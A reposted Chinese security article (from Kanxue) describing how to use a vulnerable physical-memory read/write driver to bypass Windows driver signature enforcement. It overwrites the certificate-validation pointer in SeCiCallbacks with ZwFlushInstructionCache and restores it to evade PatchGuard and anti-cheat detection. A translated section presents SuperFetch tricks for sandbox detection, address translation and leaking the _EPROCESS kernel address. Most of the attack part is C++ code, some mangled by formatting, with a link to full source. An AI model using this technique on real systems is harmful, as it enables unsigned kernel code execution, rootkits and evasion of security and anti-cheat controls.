利用任意物理读写驱动来加载自己的驱动

admin 2026-05-01 06:09:21 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文探讨利用物理内存读写驱动加载自定义驱动的技术,重点分析VDM方法和直接修改驱动校验函数两种方案。作者详细介绍了SuperFetch查询在虚拟机沙箱检测、虚拟地址到物理地址转换等场景的应用,认为该方法比传统技术更稳定且规避检测。文档提供了具体代码示例和利用场景,适用于红队行动和漏洞开发。 综合评分: 72 文章分类: 漏洞分析,红队,内网渗透,恶意软件,二进制安全


cover_image

利用任意物理读写驱动来加载自己的驱动

Peyriat Peyriat

看雪学苑

2026年4月29日 17:59 上海

在小说阅读器读本章

去阅读

早期许多漏洞驱动未对MmMapIoSpace施加严格的用户态访问限制,导致攻击者可借此读写物理内存(如利用 PFN 页表可直接将物理内存转换为虚拟内存)。为此,Windows 后续封堵了这一利用路径,将 PFN 页表设为不可映射,强行访问会直接触发蓝屏(BSOD)。

如何解决

1.使用VDM

VDM介绍:https://back.engineering/blog/01/11/2020/

其本质为利用物理内存读写驱动来找到一个用户态可以调用传给内核态的函数 修改写入一段shellcode,来实现任意内核代码执行。但是由于其本质还是类似.data ptr hook (容易被检测,并且效率不高),而且作者最后利用它写的physmeme(https://github.com/ALEHACKsp/physmeme)还是一个无模块驱动加载器 我认为其被检测的可能性还是很大的。

2.直接修改驱动校验函数

即为我想要说的方法,如果我的目的只是加载我自己的驱动,为什么要这么复杂呢?

这里介绍*SystemSuperfetchInformation 原帖:SuperFetch Query 超能力 – vegvisir:https://v1k1ngfr.github.io/superfetchquery-superpower/*

#

SuperFetch 查询超能力 (The SuperFetch Query Superpower)

作者:Viking

在之前的博客文章《修复(Windows内部)Meminfo.exe》中,我们深入探讨了 Windows 内部结构手册中基于“FileInfo请求”的Meminfo.exe工具。本文我建议你看看另一种被称为“SuperFetchQuery”的请求类型,它在诸如红队行动/提权、渗透测试、漏洞利用开发或恶意软件开发(Maldev)等特定场景中非常有用。让我们一起来看看!

摘要 (TL;DR)

Superfetch 查询fileInfo 请求是一种可以让你获取许多有趣的 Windows 系统信息的替代方法,以下是一些具体的使用场景:

  • 恶意软件开发 (Maldev):虚拟机沙箱检测技巧,获取内存布局和与内存映射页面相关的文件名信息。
  • 红队 / 提权 (Red Team / Privesc):将虚拟地址(VA)转换为物理地址(PA),这在 BYOVD(自带漏洞驱动)场景中利用物理内存读/写原语时非常有用。
  • 渗透测试 (Pentest):规避某些检测区域,例如在枚举正在运行的进程列表时。
  • 漏洞利用开发 (Exploit Dev):在需要绕过 KASLR 的场景中获取内核地址泄露。

(注意:以下内容是在 Microsoft Windows 版本 10.0.19045.4291 上测试的)

Superfetch 查询基础 (101)

我发现研究 Superfetch 查询最好的工具是 Alex Ionescu 和 Pavel Yosifovich 编写的 Windows Internals 项目中的MemInfo工具。以下是该工具能实现的功能:

Plaintext

MemInfo v3.10 - Show PFN database information
Copyright (C) 2007-2017 Alex Ionescu and Pavel Yosifovich
http://www.windows-internals.com

usage: meminfo [-a][-u][-c][-r][-s][-w][-f][-o PID][-p PFN][-v VA]
    -a    Dump full information about each page in the PFN database
    -u    Show summary page usage information for the system
    -c    Display detailed information about the prioritized page lists
    -r    Show valid physical memory ranges detected
    -s    Display summary information about the pages on the system
    -w    Show detailed page usage information for private working sets
    -f    Display file names associated to memory mapped pages
    -o    Display information about each page in the process' working set
    -p    Display information on the given page frame index (PFN)
    -v    Display information on the given virtual address (must use -o)

MemInfo.cpp主函数概述(仅标注对本文有用的部分):

C++

int main(int argc, const char* argv[]) {  // 示例 1 - 查询内存范围
  status = PfiQueryMemoryRanges();  // 示例 2 - 初始化数据库
  status = PfiInitializePfnDatabase();
  // 示例 3 - 查询私有源
  status = PfiQueryPrivateSources();  // 示例 4 - 查询文件信息
  status = PfiQueryFileInfo();
  return 0;
}

为了检索信息,每个“示例”都分为两个步骤:

  • 构建查询
  • 将查询发送给内核

步骤 1 – 构建查询

PfiBuildSuperfetchInfo函数使用 4 个参数来构建 superfetch 查询:

  • SuperfetchInfo:存储你要发送给内核的请求结构。
  • Buffer:存储从内核接收到的结果。
  • LengthBuffer的大小。
  • InfoClass:你请求的信息类型。

C++

void PfiBuildSuperfetchInfo(
  IN PSUPERFETCH_INFORMATION SuperfetchInfo,
  IN PVOID Buffer,
  IN ULONG Length,
  IN SUPERFETCH_INFORMATION_CLASS InfoClass);

步骤 2 – 发送查询

Windows APINtQuerySystemInformation通过 4 个参数向内核发送 superfetch 查询:

  • SystemInformationClass:表示要检索的系统信息类型(这里设置为SystemSuperfetchInformation)。
  • SystemInformation:指向一个缓冲区,用于接收请求的信息(设置为步骤 1 中准备好的SuperfetchInfo)。
  • LengthSystemInformation的大小。
  • ResultLength:实际需要的信息大小。

C++

extern "C" NTSTATUS NTAPI NtQuerySystemInformation(
    IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
    OUT PVOID SystemInformation,
    IN ULONG Length,
    OUT PULONG ResultLength
);

(注意:调用NtQuerySystemInformation需要中等完整性级别的进程。)

关于 Superfetch 查询的“超能力”

现在你已经熟悉了准备和发送 Superfetch 查询的方法。接下来,我们会回顾一些用于“态势感知”等目的的传统方法,并向你展示基于 Superfetch 查询的替代方案。

超能力 #1:虚拟机沙箱检测 (VM Sandbox Detection)

传统方法

一个有趣的沙箱检测技巧使用了内存范围,具体可参考 Graham Sutherland 的《虚拟机检测技巧》一文。简而言之,该技巧如下:

  • 读取以下 Windows 注册表路径:Plaintext
  • “` HKLM\Hardware\ResourceMap\System Resources\Loader Reserved\ HKLM\Hardware\ResourceMap\System Resources\Physical Memory\ HKLM\Hardware\ResourceMap\System Resources\Reserved\
* 比较不同物理主机和虚拟机的内存资源映射。例如:VirtualBox 或 Hyper-V 都有特定的物理内存分配范围。

#### Superfetch 方法

使用 Superfetch 替代方案不会触及上述注册表键值,因此避开了某些安全软件的检测区域。我们可以使用超级查询来获取 Windows 当前检测到的**有效物理内存范围**。

修改 Meminfo 项目中的相关代码:

C++

void PfiDumpPfnRanges(VOID) {// [ 略去部分代码 ] Node = reinterpretcast(&MemoryRanges->Ranges[i]);#ifdef WIN64 printf(“Physical Memory Range: %p to %p (%lld pages, %lld KB)\n”,#else printf(“Physical Memory Range: %p to %p (%d pages, %d KB)\n”,#endif reinterpretcast>(Node->BasePage << PAGESHIFT), reinterpretcast>((Node->BasePage + Node->PageCount) << PAGESHIFT), Node->PageCount, (Node->PageCount << PAGESHIFT) >> 10); // 打印检测到的沙箱 – 粗略的检测代码… if ((reinterpretcast>(Node->BasePage << PAGESHIFT) == (void)0x1000) &&(reinterpretcast<void>((Node->BasePage + Node->PageCount) << PAGE_SHIFT) == (void)0x9F000)) { printf(“!! SANDBOX DETECTED : VM5 – 4G – Win10 x64 (VirtualBox)\n”); }// [ 略去部分代码 ]}

输出示例:

Plaintext

C:\windows\system32>C:\MemInfo.exe -r MemInfo v3.10 – Show PFN database information … Physical Memory Range: 0000000000001000 to 000000000009F000 (158 pages, 632 KB) !! SANDBOX DETECTED : VM5 – 4G – Win10 x64 (VirtualBox) Physical Memory Range: 0000000000100000 to 0000000000102000 (2 pages, 8 KB) …

如你所见,“物理内存范围”是`00001000 – 0009f000`,这通常对应 VirtualBox 上的 Win10 虚拟机。

### 超能力 #2:虚拟地址到物理地址的转换 (Virtual to Physical Address Translation)

在利用 Windows 内核漏洞时,如果利用原语是物理读写,你需要一种将虚拟地址 (VA) 转换为物理地址 (PA) 的方法。

#### 传统方法

* 最古老的技术是读取内核的页表,但微软从 Windows 10 开始已经修补了这一点。
* 另一种方法是通过读取物理内存 0-0x20000 区域的 DOS“low stub”来找到 CR3 寄存器。但这目前看来有触发各种蓝屏 (BSOD) 的风险(例如`DRIVER_IRQL_NOT_LESS_OR_EQUAL`,`MEMORY_MANAGEMENT`等)。
* 第三种方法是扫描非分页池中名为`Proc`的池标签(用于存储`EPROCESS`)。局限性在于你需要内存泄漏,具备内核任意读能力,且通常需要指针跳跃。

#### Superfetch 方法

如 Cedric Van Bockhaven 所述,利用 Superfetch API 进行漏洞开发非常稳定且安全。

* **优势**:更加稳定(使用官方 Windows API),触发蓝屏死机的风险极低(保持在用户态运行)。

通过调用`SuperfetchPfnQuery`,我们可以检索`PF_PFN_PRIO_REQUEST`数据结构,其中包含了页帧号 (PFN) 数据库的副本。

我们可以修改`PfiDumpProcessPfnEntry`函数来进行 VA 到 PA 的转换:

C++

VOID PfiDumpProcessPfnEntry(ULONG i) {// [ 略去部分代码 ] // 仅打印有关进程的地址转换信息 printf(“VirtualAddress %-10s content is stored at physical address 0x%08p\n”, VirtualAddress, Pfn1->PageFrameIndex << PAGE_SHIFT);// [ 略去部分代码 ]}

输出示例 (转换`notepad.exe`的地址):

Plaintext

C:>tasklist | findstr notepad.exe notepad.exe                   7900 Console                    1     16,296 K

C:> MemInfo.exe -o 7900 … VirtualAddress 0x00007FFF72062000 content is stored at physical address 0x0000000149E46000 VirtualAddress 0x0000026762573000 content is stored at physical address 0x00000001A8374000 ..

*(可选)*:您可以使用 WinDbg 通过`!vtop`命令或`!db`命令来验证这个物理地址转换的正确性。

### 超能力 #3:正在运行的进程枚举 (Running Processes Enumeration)

#### 传统方法

枚举运行中进程或查找特定进程 PID 的方法有很多(例如通过读取 LSASS PID 的标准 API)。

#### Superfetch 方法

在此示例中,你使用 Superfetch 查询来获取当前 Windows 上正在运行的进程信息。通过查询类型`SuperfetchPrivSourceQuery`,你可以提取`PF_PRIVSOURCE_INFO`数据结构。

修改 Meminfo 项目以打印进程名称和 PID:

C++

NTSTATUS PfiQueryPrivateSources() {// [ 略去部分代码 ] // 设置结构 Process->ProcessKey = reinterpretcast(MmPrivateSources->InfoArray[i].EProcess); strncpys(Process->ProcessName, MmPrivateSources->InfoArray[i].ImageName, 16); Process->ProcessId = reinterpretcast(staticcast(MmPrivateSources->InfoArray[i].DbInfo.ProcessId)); // 打印关于运行进程的信息 printf(“%-14s  %-8lu \n”, Process->ProcessName, Process->ProcessId);// [ 略去部分代码 ]}

输出示例:

Plaintext

c:> MemInfo.exe -s … System          4 Registry        108 smss.exe        380 csrss.exe       484 wininit.exe     560 lsass.exe       708 svchost.exe     836 …

---

### 超能力 #4:\_EPROCESS 内核地址泄露 (\_EPROCESS Kernel Address Leak)

#### 传统方法

编写内核提权漏洞时,首先必须在内核中找到进程的`_EPROCESS`结构位置。常用的方法包括:

* `PsInitialSystemProcess`
* `PsReferencePrimaryToken`
* `PsLookupProcessByProcessId`
* 窃取 Token 的 shellcode

#### Superfetch 方法

我们可以复用超能力 #3 中的`SuperfetchPrivSourceQuery`查询机制。该结构不仅包含进程名和 PID,还直接包含了`_EPROCESS`结构的内核虚拟地址!

代码修改示例:

C++

NTSTATUS PfiQueryPrivateSources() {// [ 略去部分代码 ] if (MmPrivateSources->InfoArray[i].DbInfo.Type == PfsPrivateSourceProcess) { // [ 略去分配过程 ]

// 泄露 System 进程 (PID 4) 的 _EPROCESS 内核地址 if (MmPrivateSources->InfoArray[i].DbInfo.ProcessId == 4) { PVOID eprocessVA = MmPrivateSources->InfoArray[i].EProcess; printf(“\t[+] Leak PID %-8d _EPROCESS virtual address : \t\t\t%08p\n”, 4, eprocessVA); }// [ 略去部分代码 ]}

输出示例(针对 PID 4 - System 进程):

Plaintext

C:>z:\MemInfo.exe  -p 4 MemInfo v3.10 – Show PFN database information …         [+] Leak PID 4        _EPROCESS virtual address :                       FFFFB587C7661040

---

## 结语 (End)

这篇博客主要聚焦于 Superfetch 查询,它需要使用`NtQuerySystemInformation`API。正如大家所知,这个 API 需要高权限(`SE_PROF_SINGLE_PROCESS_PRIVILEGE`和`SE_DEBUG_PRIVILEGE`)。正因如此,这种查询机制很可能更算作是一个“功能 (feature)”而不是一个“漏洞 (vulnerability)”——正如微软 MSRC 的安全策略中明确指出的:“从管理员到内核 (Administrator-to-kernel) 不被视为安全边界。”尽管如此,现在你已经了解了使用它的各种潜在机会!

---

如果我们有一个内核虚拟地址,我们可以利用SuperFetch来将其转换为物理地址。

**详细原理**

![](https://mmbiz.qpic.cn/sz_mmbiz_png/Cpo2XCpI7K0agLSrdE41gxs23ClWxT8ZRibpNnEZibb6fqsI67tFL7w8hNGvFHthDgonfrLeA7NRBrhs52CricpQVtVDlJyOERsNW3JVYYkK9s/640?wx_fmt=png&from=appmsg#imgIndex=2)

这里我以`MyPortIO.sys`为例。该驱动程序使用`MmMapIoSpace`进行物理内存的读写操作,但它每次只能处理一个`DWORD`的数据。

你可以根据自己的需求,轻松将其替换为任何你偏好的漏洞驱动(vulnerable driver)。

## 工作原理

该方法的核心在于修改`SeCiCallbacks`中的指针。当 Windows 尝试验证驱动程序的证书时,系统会调用此函数。通过将该指针替换为`ZwFlushInstructionCache`(一个始终返回`TRUE`的函数),我们就能成功绕过这项安全检查。需要注意的是,这两个函数均驻留于`ntoskrnl.exe`内核程序中。

## 为什么不直接修改 DSE 的值?

部分预加载的反作弊系统(Anti-cheat systems)会主动监控或追踪 DSE(Driver Signature Enforcement,驱动程序强制签名)的值,这使得直接对该值进行修改变得极不安全并容易被检测。

**详细代码**

![](https://mmbiz.qpic.cn/mmbiz_png/Cpo2XCpI7K0vZG149kQiblkiclUHsiabsQs8ibia17GicmPoYt12GE1hicPptibv1foiatYlBP1zMrtvrsO0w85MTVtsOQg3cENHSAs6T2BGV9r4Rw7k/640?wx_fmt=png&from=appmsg#imgIndex=3)

1.从windows符号服务器下载对应系统版本的pdb:

uint64t offZwFlushInstructionCache = 0; uint64t offCiValidateImageHeader = 0;     // now get offset from pdb     std::vector targetBinaries = {         L”C:\Windows\System32\ntoskrnl.exe”     };

    std::vector symbolsToRetrieve{         { L”ntoskrnl.exe”, L”ZwFlushInstructionCache” },         { L”ntoskrnl.exe”, L”SeCiCallbacks” }     };

    SimplestSymbolHandler handler(GetCurrentAppFolder() + L”\Symbols”);

    for (const auto& binPath : targetBinaries) {         auto pdbPath = handler.GetPDB(binPath);         if (pdbPath.empty()) {             std::wcout << L”[-] Failed to get symbol for ” << binPath << std::endl;             system(“pause”);             return -1;         }

        std::vector symbolsForThisFile{};         for (const auto& sym : symbolsToRetrieve) {             if (binPath.find(sym.binaryName) == std::wstring::npos) {                 continue;             }             symbolsForThisFile.push_back(sym.symbolName);         }

        auto offsets = handler.GetOffset(pdbPath, symbolsForThisFile);         if (offsets.size() != symbolsForThisFile.size()) {             std::wcout << L”[-] Failed to get offsets for ” << binPath << std::endl;             system(“pause”);             return -1;         }

        auto filename = std::filesystem::path(binPath).filename().wstring();         std::wcout << L”[” << filename << L”]” << std::endl;         for (sizet i = 0; i < symbolsForThisFile.size(); i++) {             std::wcout << symbolsForThisFile[i] << L"=0x" << std::hex << offsets[i] << std::endl;             if (symbolsForThisFile[i] == L"ZwFlushInstructionCache") {                 offZwFlushInstructionCache = offsets[i];             }             else if (symbolsForThisFile[i] == L”SeCiCallbacks”) {                 off_CiValidateImageHeader = offsets[i];             }         }

        std::wcout << std::endl;     }

2.获取Windows内核基址 (备注:调用前请确保自身进程可以申请到SE\_DEBUG\_PRIVILEGE):

ifndef RTLPROCESSMODULEINFORMATION

typedef struct RTLPROCESSMODULEINFORMATION { HANDLE Section; PVOID MappedBase; PVOID ImageBase; ULONG ImageSize; ULONG Flags; USHORT LoadOrderIndex; USHORT InitOrderIndex; USHORT LoadCount; USHORT OffsetToFileName; UCHAR FullPathName[256]; } RTLPROCESSMODULEINFORMATION, * PRTLPROCESSMODULEINFORMATION;

typedef struct RTLPROCESSMODULES { ULONG NumberOfModules; RTLPROCESSMODULEINFORMATION Modules[1]; } RTLPROCESSMODULES, * PRTLPROCESSMODULES;

endif

static constexpr SYSTEMINFORMATIONCLASS kSystemModuleInformation = staticcast(0x0B); using NtQuerySystemInformationProc = NTSTATUS(WINAPI*)(SYSTEMINFORMATION_CLASS, PVOID, ULONG, PULONG);

bool GetKernelModuleAddress(constchar* moduleName, std::uint64_t& moduleBase, ULONG& moduleSize) { moduleBase = 0; moduleSize = 0;

    HMODULE ntdll =&nbsp;GetModuleHandleW(L"ntdll.dll");

if (!ntdll) { ntdll = LoadLibraryW(L”ntdll.dll”); if (!ntdll) return false; }

const auto querySystemInformation = reinterpret_cast( GetProcAddress(ntdll, “NtQuerySystemInformation”)); if (!querySystemInformation) return false;

    ULONG bufferSize =&nbsp;0;

querySystemInformation(kSystemModuleInformation, nullptr, 0, &bufferSize); if (bufferSize == 0) return false;

std::vector buffer(bufferSize); if (querySystemInformation(kSystemModuleInformation, buffer.data(), bufferSize, &bufferSize) != 0) return false;

const auto modules = reinterpretcast(buffer.data()); for (ULONG i = 0; i < modules->NumberOfModules; ++i) { const auto& module = modules->Modules[i]; constchar* name = reinterpretcast(&module.FullPathName[module.OffsetToFileName]); if (stricmp(name, moduleName) == 0) { moduleBase = reinterpretcast(module.ImageBase); moduleSize = module.ImageSize; return true; } }

return false; }

3.将偏移与基址相加,我们便得到了两个函数的虚拟地址。我们需要替换的是secicallbacks这个结构中对证书验证的回调函数 具体的逆向过程与函数介绍在此不做过多展开 详细分析可以查看其它大佬的帖子 我们将secicallbacks的偏移加上0x20即为验证函数的指针地址,之后再将其转换为物理地址 即可进行下一步操作。

              auto const mm = spf::memorymap::current(); //import superfetch                 if (!mm) {         printf(“[-] Failed to create memory map: %d\n”, staticcast(mm.error()));         system(“pause”); return -1;                             }                 //ciValidateImageHeaderEntry = CiValidateImageHeader + 0x20 voidconst const civirt = (constvoid)(ntoskrnlbase + offCiValidateImageHeader + 0x20); std::uint64tconst ciphys = mm->translate(civirt);         if (!ciphys) {             printf(“[-] Failed to translate virtual address: %p\n”, civirt);             system(“pause”); return -1;         }         else {             std::printf(“[+] %p -> %zX\n”, civirt, ciphys); } uint64t cidata = 0;

if (!ReadPhysMemory(ghDevice, ciphys, &cidata, sizeof(cidata))) { printf(“[-] Failed to read CiValidateImageHeader pointer from phys=0x%016llX\n”, staticcast(ciphys));             system(“pause”); return -1; }

4.对此地址写入ZwFlushInstructionCache的函数地址即可:

 void const const zwvirt = (const void)(ntoskrnlbase + offZwFlushInstructionCache);  WritePhysMemory(g_hDevice, ciphys, &zwvirt, sizeof(zwvirt));

5.加载自己的驱动

6.恢复原本值以防止被PG检测

WritePhysMemory(g_hDevice, ciphys, &cidata, sizeof(cidata)); “`

缺点:

1.需要在线下载pdb 对国内用户不友好

2.windows在26h2也强制要求了驱动需要通过WHQL签名 以前很多老的漏洞驱动无法再使用 而新的漏洞驱动也会被人发现而上报CVE 被收录进反作弊黑名单以及windows易受攻击的驱动列表中

3.加载的驱动仍然会被检测出没有签名 进而被特征

鸣谢

特别感谢以下开发者与项目:

TheCruZ-kdmapper-SymbolForPdb

https://github.com/TheCruZ/kdmapper/tree/master/SymbolsFromPDB

jonomango-SuperFetch

https://github.com/jonomango/superfetch

详细源码已经开源在 ShirokoLEET/PhysDrvLoader

https://github.com/ShirokoLEET/PhysDrvLoader

#

看雪ID:Peyriat

https://bbs.kanxue.com/user-home-1026334.htm

*本文为看雪论坛优秀文章,由 Peyriat 原创,转载请注明来自看雪社区

往期推荐

Ptrace注入代码在不同平台的区别(ARM64、x86-64、MIPS64)

浅谈梯度分析与样本对抗:以vlm和ddddocr为例

ANDROID 黑科技 : 保活机制深度逆向

更好理解:CVE-2021-1732漏洞分析报告与利用

LLVM Pass编写及去除 —— 控制流平坦化

球分享

球点赞

球在看

点击阅读原文查看更多


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:看雪学苑 Peyriat Peyriat《利用任意物理读写驱动来加载自己的驱动》

评论:0   参与:  0